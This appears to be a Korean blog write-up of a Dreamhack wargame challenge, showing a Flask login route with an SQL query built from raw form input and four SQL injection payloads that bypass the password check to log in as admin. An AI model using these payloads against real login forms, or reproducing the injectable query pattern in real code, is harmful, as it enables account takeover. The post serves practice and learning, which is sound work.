/login : 사용자가 로그인 할 수 있는 기능
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
guest, guest를 입력하면 로그인이 geust로 가능함.
우리는 admin 계정으로 로그인해야하기 때문에 userid가 admin이고 userpassword를 sqli를 사용해 우회해야한다.
/*
ID: admin"--, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
위와 같은 쿼리들을 사용하면 sqli을 통해 우회하여 관리자 권한으로 로그인할수 있다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| [dreamhack] level 2 mango (0) | 2025.04.14 |
|---|---|
| [dreamhack] level 1 simple_sqli (blind_sqli 활용) (0) | 2025.04.14 |
| [dreamhack] level 1 csrf-2 (0) | 2025.04.13 |
| [dreamhack] level 1 csrf-1 (0) | 2025.04.13 |
| [dreamhack] level 1 xss-2 (0) | 2025.04.12 |